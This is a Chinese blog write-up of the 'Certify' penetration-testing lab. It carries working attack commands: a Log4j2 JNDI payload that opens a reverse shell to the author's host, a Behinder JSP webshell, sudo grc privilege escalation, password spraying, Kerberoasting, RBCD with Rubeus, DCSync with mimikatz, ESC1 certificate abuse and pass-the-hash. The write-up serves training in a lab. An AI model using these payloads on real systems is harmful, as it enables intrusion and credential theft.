内网渗透技战法-春秋云境Certify靶场

Certify2(RDBC)

  • log4j2 jndi
  • grc提权
  • SMB
  • 密码喷洒
  • spn
  • RBCD

外网

fscan扫

root@VM-0-3-ubuntu:~/m1xian# ./fscan -h 39.98.126.76    
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2026-03-29 19:59:10] [INFO] 暴力破解线程数: 1
[2026-03-29 19:59:10] [INFO] 开始信息扫描
[2026-03-29 19:59:10] [INFO] 最终有效主机数量: 1
[2026-03-29 19:59:10] [INFO] 开始主机扫描
[2026-03-29 19:59:10] [INFO] 有效端口数量: 233
[2026-03-29 19:59:11] [SUCCESS] 端口开放 39.98.126.76:22
[2026-03-29 19:59:11] [SUCCESS] 端口开放 39.98.126.76:80
[2026-03-29 19:59:11] [SUCCESS] 服务识别 39.98.126.76:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.]
[2026-03-29 19:59:11] [SUCCESS] 端口开放 39.98.126.76:8983
[2026-03-29 19:59:16] [SUCCESS] 服务识别 39.98.126.76:80 => [http] 版本:1.18.0 产品:nginx 系统:Linux 信息:Ubuntu
[2026-03-29 19:59:21] [SUCCESS] 服务识别 39.98.126.76:8983 => [http] 产品:Apache Solr Banner:[HTTP/1.1 302 Found.Location: http://172.22.9.19:8983/solr/.]
[2026-03-29 19:59:21] [INFO] 存活端口数量: 3
[2026-03-29 19:59:21] [INFO] 开始漏洞扫描
[2026-03-29 19:59:21] [INFO] 加载的插件: ssh, webpoc, webtitle
[2026-03-29 19:59:21] [SUCCESS] 网站标题 http://39.98.126.76       状态码:200 长度:612    标题:Welcome to nginx!
[2026-03-29 19:59:21] [SUCCESS] 网站标题 http://39.98.126.76:8983  状态码:302 长度:0      标题:无标题 重定向地址: http://39.98.126.76:8983/solr/
[2026-03-29 19:59:22] [SUCCESS] 网站标题 http://39.98.126.76:8983/solr/ 状态码:200 长度:16555  标题:Solr Admin
[2026-03-29 19:59:40] [SUCCESS] 扫描已完成: 5/5

​image-20260329200114-68jg0va​

有log4j2，打jndi

​image-20260329204307-zht6sh6​

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 175.27.229.115 -l 1599 -p 8087

http://39.98.126.76:8983/solr/admin/collections?action=${jndi:ldap://175.27.229.115:1599/Basic/ReverseShell/175.27.229.115/2333}&wt=json

成功反弹shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

grc可以sudo提取

sudo grc --pty /bin/sh

找到工作目录solr-webapp/webapp

在此写个冰蝎马，不过solr不支持

echo "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%\!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>" > ./solr-webapp/webapp/a.jsp

直接root上线

​image-20260329211422-f4789ne​

内网打点

root@ubuntu:/tmp# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:29:96:d6 brd ff:ff:ff:ff:ff:ff
    inet 172.22.9.19/16 brd 172.22.255.255 scope global dynamic eth0
       valid_lft 1892154834sec preferred_lft 1892154834sec
    inet6 fe80::216:3eff:fe29:96d6/64 scope link 
       valid_lft forever preferred_lft forever

fscan
[2026-03-29 21:19:19] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.9.7
主机名: XIAORANG-DC
发现的网络接口:
   IPv4地址:
      └─ 172.22.9.7
[2026-03-29 21:19:19] [SUCCESS] 网站标题 http://172.22.9.19        状态码:200 长度:612    标题:Welcome to nginx!
[2026-03-29 21:19:19] [SUCCESS] 网站标题 http://172.22.9.7         状态码:200 长度:703    标题:IIS Windows Server
[2026-03-29 21:19:19] [SUCCESS] 网站标题 http://172.22.9.47        状态码:200 长度:10918  标题:Apache2 Ubuntu Default Page: It works
[2026-03-29 21:19:20] [SUCCESS] 目标: http://172.22.9.7:80
  漏洞类型: poc-yaml-active-directory-certsrv-detect
  漏洞名称: 
  详细信息:
        author:AgeloVito
        links:https://www.cnblogs.com/EasonJim/p/6859345.html
[2026-03-29 21:19:19] [SUCCESS] NetBios 172.22.9.7      DC:XIAORANG\XIAORANG-DC  
[2026-03-29 21:19:19] [SUCCESS] NetBios 172.22.9.26     DESKTOP-CBKTVMO.xiaorang.lab        Windows Server 2016 Datacenter 14393
[2026-03-29 21:19:19] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.9.26
主机名: DESKTOP-CBKTVMO
发现的网络接口:
   IPv4地址:
      └─ 172.22.9.26
[2026-03-29 21:19:19] [SUCCESS] SMB认证成功 172.22.9.47:445 administrator:123456
[2026-03-29 21:19:19] [INFO] 系统信息 172.22.9.47 [Windows 6.1]
[2026-03-29 21:19:19] [SUCCESS] NetBios 172.22.9.47     fileserver                          Windows 6.1
[2026-03-29 21:19:19] [INFO] SMB2共享信息 172.22.9.47:445 administrator Pass:123456 共享:[print$ fileshare IPC$]
[2026-03-29 21:19:20] [SUCCESS] 网站标题 http://172.22.9.19:8983   状态码:302 长度:0      标题:无标题 重定向地址: http://172.22.9.19:8983/solr/
[2026-03-29 21:19:20] [SUCCESS] 网站标题 http://172.22.9.19:8983/solr/ 状态码:200 长度:16555  标题:Solr Admin

172.22.9.47

172.22.9.47存在SMB 共享

连接
proxychains smbclient -L 172.22.9.47
或者proxychains python3 smbclient.py 172.22.9.47
查看共享文件
smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt
get personnel.db

personnel.db里有账号和密码，导出后接下来密码喷洒

SELECT password FROM xr_users INTO OUTFILE '/tmp/pass.txt';
SELECT name FROM xr_members INTO OUTFILE '/tmp/user.txt';

​image-20260330170110-czfvj6v​

喷洒172.22.9.26和172.22.9.7

proxychains crackmapexec smb 172.22.9.26  -u user.txt -p pass.txt --continue-on-success
或者
proxychains hydra -L user.txt -P pass.txt 172.22.9.26 rdp >>result.txt
cat result.txt|| grep account

​image-20260330170900-ojpldoy····

​image-20260330172347-iyo61hj​

SMB         172.22.9.26     445    DESKTOP-CBKTVMO  [+] xiaorang.lab\zhangjian:i9XDE02pLVf

rdp失败，PTH也失败

# wmiexec 命令执行
proxychains python3 wmiexec.py xiaorang.lab/zhangjian:'i9XDE02pLVf'@172.22.9.26

尝试Kerberoasting攻击

 proxychains  python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

┌──(root㉿kali)-[~/Desktop/tools]
└─# proxychains -q  python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName                   Name      MemberOf  PasswordLastSet             LastLogon  Delegation 
-------------------------------------  --------  --------  --------------------------  ---------  ----------
TERMSERV/desktop-cbktvmo.xiaorang.lab  zhangxia            2023-07-14 12:45:45.213944  <never>             
WWW/desktop-cbktvmo.xiaorang.lab/IIS   zhangxia            2023-07-14 12:45:45.213944  <never>             
TERMSERV/win2016.xiaorang.lab          chenchen            2023-07-14 12:45:39.767035  <never>             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$339ece90fdcbd1a4bfc9c308100da948$7ba507865929f712ed725bca46d49c397000934e89af3279356e24ee1be8ef0fa91125a1476d9938813f8699af27afee61cec86ec80777c3271156f2b53c4e0c01954217c9d28a1edc69b0406d918325c660a343285197300142184d104dbb42df8d1302cc7ecfc532845a5dec4221ee5040188edd9503260b841cccbc25228d084d83314704cb2372cf407c62460a01cf76faae6c87db73ca618e555876ff232245fb6a58ca57d21d4d66f43dc2209b7340d6283789f4f9f01e00e6fb498d935e635d199e69e5c7262f2d14c5410744ebfd1019ac893b6f90f53477dd0836de23099922472cbf0284b5df764acb83165d8aee4440cc9f3fcd7ca71842e69de45225e4a387dcd262a41e2e3ee00217fa2ab9758b53bd99746189618bb962dd8eeee5861080bdd4633f7159836516637e1bc7e9c5a2dfbcb8043ae84547e6f89beac930a5c39563d126793f310d3bb7fd16e360957176c262fd0e21064f5363264c8b9ac35ab5d69cad052b36429fe6c8bd99ffba692f98c35c59127561b89080f0e53ad8cb21f1f61b7c2b1d54ed376b2b7d33077c09b33105896d213cf49c2733f50e6611021f7b635d6e651e2795ddc13cf44a9541422c7a236aa6ba457b2b037105c72495333cca242a50f1279fcdc7886d7cefecf4766d077e229167b9a369db0c2e69040109f6793223c4291bd6a79148722d34f7e7de28ad0c95feb91bb10060f54327fee0507b95ee91984bbd4742ec2561b0b0b454cafd4e113eca42b8fce5fd0cc659d1d470bd76f8219ace570d385b89c778b66a49f0e031997ed6b02a00d7f50b669aaba27ec68cf5556bcab7d7617e58fed19271e99cb8843c934fbef06dd3b28376c7220830b501770e6e742949458e9a82fb58dfc1a9ba71f290818de5f8c699baa279a3a7d31229a934292a6189bb2a4834f4c0e185c2e2831e5379a5c791d04d70b7e4dc5d7898d6fbe34724132c9c978c4eac4f5313db92a96294d0ee94a2c96797df9945551492596ba1734c2b5fa739dbe44e54bdb8502d1fca0c9113d6232c5bf459063635609040fb1413e2b2ff64026ea236d63691ecbfefbb78facd56b1034bcbf9ef13bb6615fdc7f9ef5e6f6d5142322bfaae019398debea542151cd1ea23c69fb5d08d08b4e0d76d107c2a830123cce36bf9720f80f9b0f68e128b60ea55e7bbecbe18d30e2305d8bce9707f51d0eab8123ec10afe09b314d9a4b40b1d09354de2583be4ec2283a538787f758962feee298cf3d10a2a6f945fe525904d01f2266a0f5c1c65dbf9a37953eae959c67f5fcac1e7e405b1daf71be6e19f9df133bca0dc34f2ad7d24abd2cfeb73c775288f98e7147d143f85c00479527aa0da3dbb1b5bc250516cc1644143d7a4f7d7d220d5c85bc437a3a5910230d75dea99be65fe5afe76983216fe5d8b309ba4108ce33c9f300122cd6664877cf8702204cf8409811b08294c6f583c6174e0481eab63c7571de03b4ba91058fad5dd89fa4cdb99
$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$0ed92d7721a3caa72c4cde562a94e254$39ab857ca9a000704d34644866030dc6c125eb218140498bbfdbd8220189489eb02b898a66d86620ab141968d6237e15556e133c909fc2fd582baded556430f4f1b157f94745cc8d56cd6b9b408d96401304a2e140751d30c70c106aa2ca06476d0d09079d8e8907245a594ca082dc13333f57cbb3e7e46f9f88ffa4f7b2bd649400f555692dfe33ffeb00ea189631aaabe273790a158d2406078e3edf7129b95b823359569630e24cb6c62cfeadeccbc740b0b05a845603f6ec1ea7580054e5fff3e8b6e1826d9438e6d9fb4f09e123a62c3363727853d5969c4aec049ca43082dca8ca014be0e3f9fb61c9355b90a962618f98f828aa8338b55a2420add997b795d47f325b5828c607b42c60656e72765e944dc6a13c4f781bb9ecc3d46dff0299fc4658b893c4b969e3d9590cc65a527c947c71b0411efcacabf59447424df66feba887236017fa51c4070e9470fb7b9b6fca0dc5f0d5a7b5fdde75081906b1a29db09201c9a69d69a412cf88b284ed3ddad16087ab06f83359e5113207bab5f8121a095c570d4289140eabb2e55476719905979658d1fcde61eeb683f81afa0e67e0cb13b3f5c0da6618c0bff78e34c0c03555239f5d2333d22d4a9f2146eca5a6c2f62e637207fdffc71d02518554c982b4e310c29a98598085c261dcd31cb1fbcecc36f4acb65d458ae08b7435a98fda3d8e36d791d7cfa57b14ce2c0fb87c3274811cbec6e2bac4a95ae95419e8edad6b4025ec5fe2c66425865c83752de7ed96dd196cfd9cd97389045932d587278c842c534d4036b9df4f0e2952d003e5bb4c65c685552dd4f28da5e4774fe693469b08e2aa217dacaee90619000285818d2d874018aec4c1bd7473f467cebb1643139e6c91ff6d0b47c3259c6b8a5dcc0ece39bf82667357846773df0dc17a0777b399b9d584625cb78c0e744dc58e29b032991fa2400dfbe8fd6a8fa80af96303f322e50c922def47009485974993ae960a67cb8bb0afb133507a55068dd4e36af3466ceb88eda30cd1cc98c6cc68bb44849b52caa87a0a94b1a5e5312fdea2312d107d16df78e2f8eacd70fa25affe757e9dc5ee6ce234ca7cc64b20fc9e6e14f2336914133a46d466d58426659c62dfddf07586c33028108172e18fd16163fdfb7286e998a15d26b8a08bc96c54df323526128f4a385dded0662e2a8e80689a2e94204d0be3bd4b970ea28eef8e6ddc961abe948a44fa753d9732deb138fb1009d3621493fd3f4fee25ea2a278e0df6d6bf320dc1203e8e577dc44c1ae881decb5b103cc1d48b8c6e41b9eeccf8ecaac2ece2f418f4026cc12002cf4fcfd2c59b7b5ff9ffd33e47d562349f46cd301d45405580b3797e7dc825954fc2e0861b9d07fa11ce99d900bc419ffc8c0e5e040d3228591e079f91a99b5b245eb84db6009143c356728e010f4b10461e49106e227b8f845f46c5005d034107cc8c68ee4355c58132113a768cbe48d8c75fb534356cff357aa1f30658dca7

之后完整保存到a.txt

hashcat.exe a.txt

​image-20260402204101-5ykx31g​

符合13100

F:\hashcat-6.2.6\hashcat.exe -m 13100 a.txt rockyou.txt --force --self-test-disable

​image-20260402204239-pm5q6ri​

xiaorang.lab\zhangxia MyPass2@@6
xiaorang.lab\chenchen @Passw0rd@

9.27两个账号都没登陆成功9.26成功rdp登录

传SharpHound.exe收集

​image-20260402210225-18kt0j6​

​image-20260402210216-2wrjn3x​
image-20260407204118-gqx6p5r​

可以打RBCD，查一下确实有GenericWrite权限

C:\Users\zhangxia\Desktop>powershell -exec bypass Import-Module .\powerview.ps1;Get-DomainUser -Identity zhangxia -Properties objectsid

objectsid
---------
S-1-5-21-990187620-235975882-534697781-1185


C:\Users\zhangxia\Desktop>powershell -exec bypass -c "Import-Module .\powerview.ps1;Get-DomainObjectAcl -Identity XIAORANG-DC  | ?{$_.SecurityIdentifier -match 'S-1-5-21-990187620-235975882-534697781-1185'}"

ObjectDN              : CN=XIAORANG-DC,OU=Domain Controllers,DC=xiaorang,DC=lab
ObjectSID             : S-1-5-21-990187620-235975882-534697781-1000
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 131132
SecurityIdentifier    : S-1-5-21-990187620-235975882-534697781-1185
AceType               : AccessAllowed
AceFlags              : None
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None
AuditFlags            : None

powershell -exec bypass Import-Module .\powerview.ps1;Get-NetComputer -Identity WIN2035

sid是S-1-5-21-990187620-235975882-534697781-1213

C:\Users\zhangxia\Desktop>hostname
DESKTOP-CBKTVMO

powershell -exec bypass -Command "& {
  Import-Module .\powerview.ps1;
  $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList 'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-990187620-235975882-534697781-1213)';
  $SDBytes = New-Object byte[] ($SD.BinaryLength);
  $SD.GetBinaryForm($SDBytes, 0);
  Get-DomainComputer 'DESKTOP-CBKTVMO.xiaorang.lab' | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
}"

之后用rebues攻击

Rubeus.exe hash /user:WIN2035 /password:win2035 /domain:xiaorang.lab

8FF0F159490DA3E29F00194B042D6ED0

Rubeus.exe s4u /user:WIN2035$ /rc4:8FF0F159490DA3E29F00194B042D6ED0  /impersonateuser:administrator /msdsspn:cifs/XIAORANG-DC.XIAORANG.LAB /dc:XIAORANG-DC.XIAORANG.LAB /ptt

dir \\XIAORANG-DC.lab

​image-20260407212745-qa9ncle​

申请ldap票据，后续进行DCSync

Rubeus.exe s4u /user:WIN2035$ /rc4:8FF0F159490DA3E29F00194B042D6ED0 /impersonateuser:administrator /msdsspn:ldap/XIAORANG-DC.XIAORANG.LAB /dc:XIAORANG-DC.XIAORANG.LAB /ptt

mimikatz.exe "lsadump::dcsync /domain:XIAORANG.LAB /user:krbtgt" "exit"

也可以打ESC1

proxychains certipy find -u 'liupeng@xiaorang.lab'  -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout

Certificate Authorities
  0
    CA Name                             : xiaorang-XIAORANG-DC-CA
    DNS Name                            : XIAORANG-DC.xiaorang.lab
    Certificate Subject                 : CN=xiaorang-XIAORANG-DC-CA, DC=xiaorang, DC=lab
    Certificate Serial Number           : 43A73F4A37050EAA4E29C0D95BC84BB5
    Certificate Validity Start          : 2023-07-14 04:33:21+00:00
    Certificate Validity End            : 2028-07-14 04:43:21+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
Certificate Templates
  0
    Template Name                       : XR Manager
    Display Name                        : XR Manager
    Certificate Authorities             : xiaorang-XIAORANG-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : 16777216
                                          65536
                                          ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Domain Users
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Authenticated Users
      Object Control Permissions
        Owner                           : XIAORANG.LAB\Administrator
        Write Owner Principals          : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Dacl Principals           : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Property Principals       : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'XIAORANG.LAB\\Domain Users' and 'XIAORANG.LAB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication

然后修改加一下vim /etc/hosts

172.22.9.7   XIAORANG-DC.xiaorang.lab
172.22.9.13  CA01.xiaorang.lab

首先利用XR Manager模板为域管请求证书

proxychains certipy req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager'  -upn administrator@xiaorang.lab

image
接着转换格式，请求TGT，DCSync或者PTT

proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

image

拿到域管哈希，pth一下即可

proxychains python3 wmiexec.py -hashes :2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7 -codec gbk

image

‍

posted @ 2026-04-21 21:29  m1xian  阅读(100)  评论(1)    收藏  举报